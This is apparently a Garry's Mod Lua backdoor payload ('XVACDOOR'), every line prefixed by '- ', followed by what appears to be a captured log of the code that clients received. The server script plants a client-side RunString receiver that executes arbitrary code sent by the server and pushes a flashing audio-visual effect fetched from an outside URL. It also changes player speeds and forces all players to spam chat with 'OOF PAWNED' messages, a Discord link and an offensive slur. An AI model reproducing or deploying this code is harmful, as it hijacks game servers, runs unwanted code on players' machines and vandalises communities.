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- local function rdm_str(len)
- if !len or len <= 0 then return '' end
- return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
- end
- local function SendCodee( ply )
- util.AddNetworkString("EEFEZFKHUNEVZAEZ")
- ply:SendLua([[net.Receive("EEFEZFKHUNEVZAEZ",function()RunString(net.ReadString())end)]])
- timer.Simple(2, function()
- net.Start("EEFEZFKHUNEVZAEZ")
- net.WriteString([=============[
- local AudioSource = nil
- local AMP = 12500
- gfx = {}
- sound.PlayURL("https://anatik.alwaysdata.net/spider.mp3","no block",function(source, err, errname)
- if IsValid(source) then
- AudioSource = source
- source:Play()
- local smoothdata = {}
- local smoothdataa = {}
- for i = 1, 512 do
- smoothdataa[i] = 0
- end
- for i = 1, 1024 do
- smoothdata[i] = 0
- end
- TextFramesss = vgui.Create( "DFrame" )
- TextFramesss:SetSize( 650, 100 )
- TextFramesss:SetTitle( "" )
- TextFramesss:ShowCloseButton( false )
- TextFramesss:Center()
- TextFramesss.Paint = function( self, w, h ) -- 'function Frame:Paint( w, h )' works too
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) ) -- Draw a red box instead of the frame
- end
- -- RichText panel
- local richtext = vgui.Create( "RichText", TextFramesss )
- richtext:Dock( FILL )
- -- Red text
- richtext:InsertColorChange( 235, 60, 32, 255 )
- richtext:SetVerticalScrollbarEnabled( false )
- local words = { "Welcome", "To", "Spider", "Visual", "By", "Xeni0..." }
- local delay = 1
- -- Display each word in half second interval
- for w, txt in pairs( words ) do
- if ( w == 1 ) then delay = 0.2
- else delay = ( w-1 )*0.45 end
- timer.Simple( delay, function()
- richtext:AppendText( txt.." " )
- richtext:InsertFade( 2, 1 ) -- Sustain for 2 seconds while fading out after 1 second
- richtext:SetBGColor( Color( 0, 0, 0, 0 ) )
- richtext:SetFontInternal( "DermaLarge" )
- end )
- end
- TextFramesss:Center()
- timer.Simple(7.50, function()
- TextFramesss:Close()
- end)
- function draw.RotatedBox( x, y, w, h, ang, color )
- draw.NoTexture()
- surface.SetDrawColor( color or color_white )
- surface.DrawTexturedRectRotated( x, y, w, h, ang )
- end
- timer.Simple(7.50, function()
- hook.Add("HUDPaint", "cbomecregardewowfd", function()
- local datah = {}
- AudioSource:FFT(datah, FFT_1024)
- for i = 1, 512 do
- local col = HSVToColor(i * 2 % 360,1,1)
- smoothdataa [i] = Lerp(10 * FrameTime(), smoothdataa[i], datah[i])
- draw.RotatedBox( ScrW() / 2, ScrH() / 2, 2.5, 100 + smoothdataa[i] * AMP, i * 1.25 * CurTime() % 360, col )
- end
- end)
- end)
- hook.Add("HUDPaint", "cbomecregardewow", function()
- local data = {}
- AudioSource:FFT(data, FFT_1024)
- for i = 1, 512 do
- local col = HSVToColor(i * 2 % 360,1,1)
- smoothdata [i] = Lerp(10 * FrameTime(), smoothdata[i], data[i])
- end
- local ab = 0
- for i = 1, 50 do
- ab = ab + data[i]
- end
- ab = ab / 50
- local function SaBougeMec(ply,pos,angles,fov)
- local a = 0
- for i = 1, 50 do
- a = a + smoothdata[i]
- end
- a = a / 50
- local view = {}
- view.origin = pos
- view.angles = angles
- view.fov = fov + (a * 600)
- return view
- end
- hook.Add("CalcView", "SaBougeMec", SaBougeMec)
- local function SaZoomMec(ply,pos,angles,fov)
- local ae = 0
- for i = 1, 50 do
- ae = ae + data[i]
- end
- ae = ae / 50
- local v = {}
- v.origin = pos
- v.angles = angles
- v.fov = fov - (ae * 600)
- return v
- end
- local mats = Entity(0):GetMaterials()
- for k,v in pairs(mats) do
- Material(v):SetVector("$color", Vector(ab * 23,0,0))
- end
- local tbl = {}
- source:FFT(tbl,FFT_2048)
- xpcall(function()
- local fal = 0
- for i=4,6 do
- fal = fal + tbl[i]
- end
- if fal > 0.60 then
- if okmecctoikigeresabrotadeadsa == 1337 then
- net.Start("SaSauteCestBo")
- net.SendToServer()
- end
- timer.Destroy("ethopsadisparaitlol")
- timer.Destroy("ethoplezoomestrenormal")
- hook.Remove("CalcView", "SaBougeMec")
- if !hook.GetTable()["CalcView"]["SaBougeMec2"] then
- hook.Add("CalcView", "SaBougeMec2", SaZoomMec)
- end
- -- CODE CHELOUE
- local mats = Entity(0):GetMaterials()
- for k,v in pairs(mats) do
- Material(v):SetVector("$color", Vector(0,ab * 23,0))
- end
- -- FIN CODE CHELOUE
- hook.Add( "GetMotionBlurValues", "watht", function()
- return 0, 0, 1, math.sin(CurTime() *13)
- end )
- hook.Add( "PostDrawTranslucentRenderables", "ohgodd", function()
- render.SetMaterial( Material("cable/blue_elec") )
- for i = 1, 32 do
- render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 100) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
- end
- end )
- timer.Create("ethoplezoomestrenormal", 0.05, 1, function()
- hook.Remove("CalcView", "SaBougeMec2")
- hook.Add("CalcView", "SaBougeMec", SaBougeMec)
- end)
- timer.Create("ethopsadisparaitlol", 0.80, 1, function()
- hook.Remove("RenderScreenspaceEffects", "ohgoddd")
- hook.Remove("PostDrawTranslucentRenderables", "ohgodd")
- hook.Remove("GetMotionBlurValues", "watht")
- end)
- util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
- local col = HSVToColor(ColorRand().r-50, ColorRand().g-50, ColorRand().b-50)
- function GAMEMODE:PostDraw2DSkyBox()
- render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
- return !!1
- end
- function GAMEMODE:PreDrawSkyBox()
- render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
- return !!1
- end
- end
- end,function()
- end)
- end)
- end
- end)
- ]=============])
- net.Send(ply)
- for k, v in pairs(player.GetAll()) do
- v:SetRunSpeed(1500)
- v:SetWalkSpeed(1500)
- end
- end)
- end
- hook.Add("PlayerInitialSpawn", "GBlackDoor", function(ply)
- timer.Simple(4,function()
- SendCodee(ply)
- end)
- end)
- local p = table.Random(player.GetAll())
- p:SendLua("okmecctoikigeresabrotadeadsa = 1337")
- hook.Add("Think", "MecRegardeSaFaitUnPeutLagMaisC'estPourLeStyle", function()
- if p:IsConnected() == false then
- local p = table.Random(player.GetAll())
- p:SendLua("okmecctoikigeresabrotadeadsa = 1337")
- end
- end)
- util.AddNetworkString("SaSauteCestBo")
- net.Receive("SaSauteCestBo", function()
- for _, e in pairs(ents.GetAll()) do
- if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -100, 100 ), math.random( -100, 100 ), math.random( 270, 390 ) ) ) end
- end
- end)
- for k,v in pairs(player.GetAll()) do
- SendCodee(v)
- end
- timer.Simple(8, function()
- local oofedbro = {
- "OOF PAWNED",
- "Love Your Server <3",
- "< All",
- "XVACDOOR > All",
- "Toi < All",
- "LEAKED SERVER !",
- "OOFED BY XVACDOOR",
- "https://discord.gg/UEFMz8R",
- "Rape your server :c",
- "DarkRP = Dead ?"
- }
- timer.Create("bijourjesuislesmessageshearthearth", 2, 0, function()
- for k, v in pairs(player.GetAll()) do
- v:Say("/ooc "..table.Random(oofedbro))
- end
- end)
- end)
- --[[
- RunString
- --]]
- PrintMessage(10,'')
- --[[
- LuaCmd
- --]]
- okmecctoikigeresabrotadeadsa = 1337
- --[[
- LuaCmd
- --]]
- net.Receive("EEFEZFKHUNEVZAEZ",function()RunString(net.ReadString())end)
- --[[
- RunString
- --]]
- local AudioSource = nil
- local AMP = 12500
- gfx = {}
- sound.PlayURL("https://anatik.alwaysdata.net/spider.mp3","no block",function(source, err, errname)
- if IsValid(source) then
- AudioSource = source
- source:Play()
- local smoothdata = {}
- local smoothdataa = {}
- for i = 1, 512 do
- smoothdataa[i] = 0
- end
- for i = 1, 1024 do
- smoothdata[i] = 0
- end
- TextFramesss = vgui.Create( "DFrame" )
- TextFramesss:SetSize( 650, 100 )
- TextFramesss:SetTitle( "" )
- TextFramesss:ShowCloseButton( false )
- TextFramesss:Center()
- TextFramesss.Paint = function( self, w, h ) -- 'function Frame:Paint( w, h )' works too
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) ) -- Draw a red box instead of the frame
- end
- -- RichText panel
- local richtext = vgui.Create( "RichText", TextFramesss )
- richtext:Dock( FILL )
- -- Red text
- richtext:InsertColorChange( 235, 60, 32, 255 )
- richtext:SetVerticalScrollbarEnabled( false )
- local words = { "Welcome", "To", "Spider", "Visual", "By", "RayanFR..." }
- local delay = 1
- -- Display each word in half second interval
- for w, txt in pairs( words ) do
- if ( w == 1 ) then delay = 0.2
- else delay = ( w-1 )*0.45 end
- timer.Simple( delay, function()
- richtext:AppendText( txt.." " )
- richtext:InsertFade( 2, 1 ) -- Sustain for 2 seconds while fading out after 1 second
- richtext:SetBGColor( Color( 0, 0, 0, 0 ) )
- richtext:SetFontInternal( "DermaLarge" )
- end )
- end
- TextFramesss:Center()
- timer.Simple(7.50, function()
- TextFramesss:Close()
- end)
- function draw.RotatedBox( x, y, w, h, ang, color )
- draw.NoTexture()
- surface.SetDrawColor( color or color_white )
- surface.DrawTexturedRectRotated( x, y, w, h, ang )
- end
- timer.Simple(7.50, function()
- hook.Add("HUDPaint", "cbomecregardewowfd", function()
- local datah = {}
- AudioSource:FFT(datah, FFT_1024)
- for i = 1, 512 do
- local col = HSVToColor(i * 2 % 360,1,1)
- smoothdataa [i] = Lerp(10 * FrameTime(), smoothdataa[i], datah[i])
- draw.RotatedBox( ScrW() / 2, ScrH() / 2, 2.5, 100 + smoothdataa[i] * AMP, i * 1.25 * CurTime() % 360, col )
- end
- end)
- end)
- hook.Add("HUDPaint", "cbomecregardewow", function()
- local data = {}
- AudioSource:FFT(data, FFT_1024)
- for i = 1, 512 do
- local col = HSVToColor(i * 2 % 360,1,1)
- smoothdata [i] = Lerp(10 * FrameTime(), smoothdata[i], data[i])
- end
- local ab = 0
- for i = 1, 50 do
- ab = ab + data[i]
- end
- ab = ab / 50
- local function SaBougeMec(ply,pos,angles,fov)
- local a = 0
- for i = 1, 50 do
- a = a + smoothdata[i]
- end
- a = a / 50
- local view = {}
- view.origin = pos
- view.angles = angles
- view.fov = fov + (a * 600)
- return view
- end
- hook.Add("CalcView", "SaBougeMec", SaBougeMec)
- local function SaZoomMec(ply,pos,angles,fov)
- local ae = 0
- for i = 1, 50 do
- ae = ae + data[i]
- end
- ae = ae / 50
- local v = {}
- v.origin = pos
- v.angles = angles
- v.fov = fov - (ae * 600)
- return v
- end
- local mats = Entity(0):GetMaterials()
- for k,v in pairs(mats) do
- Material(v):SetVector("$color", Vector(ab * 23,0,0))
- end
- local tbl = {}
- source:FFT(tbl,FFT_2048)
- xpcall(function()
- local fal = 0
- for i=4,6 do
- fal = fal + tbl[i]
- end
- if fal > 0.60 then
- if okmecctoikigeresabrotadeadsa == 1337 then
- net.Start("SaSauteCestBo")
- net.SendToServer()
- end
- timer.Destroy("ethopsadisparaitlol")
- timer.Destroy("ethoplezoomestrenormal")
- hook.Remove("CalcView", "SaBougeMec")
- if !hook.GetTable()["CalcView"]["SaBougeMec2"] then
- hook.Add("CalcView", "SaBougeMec2", SaZoomMec)
- end
- -- CODE CHELOUE
- local mats = Entity(0):GetMaterials()
- for k,v in pairs(mats) do
- Material(v):SetVector("$color", Vector(0,ab * 23,0))
- end
- -- FIN CODE CHELOUE
- hook.Add( "GetMotionBlurValues", "watht", function()
- return 0, 0, 1, math.sin(CurTime() *13)
- end )
- hook.Add( "PostDrawTranslucentRenderables", "ohgodd", function()
- render.SetMaterial( Material("cable/blue_elec") )
- for i = 1, 32 do
- render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 100) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
- end
- end )
- timer.Create("ethoplezoomestrenormal", 0.05, 1, function()
- hook.Remove("CalcView", "SaBougeMec2")
- hook.Add("CalcView", "SaBougeMec", SaBougeMec)
- end)
- timer.Create("ethopsadisparaitlol", 0.80, 1, function()
- hook.Remove("RenderScreenspaceEffects", "ohgoddd")
- hook.Remove("PostDrawTranslucentRenderables", "ohgodd")
- hook.Remove("GetMotionBlurValues", "watht")
- end)
- util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
- local col = HSVToColor(ColorRand().r-50, ColorRand().g-50, ColorRand().b-50)
- function GAMEMODE:PostDraw2DSkyBox()
- render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
- return !!1
- end
- function GAMEMODE:PreDrawSkyBox()
- render.Clear(col.r*1.3, col.g/2.5, col.b/2.5, 255)
- return !!1
- end
- end
- end,function()
- end)
- end)
- end
- end)
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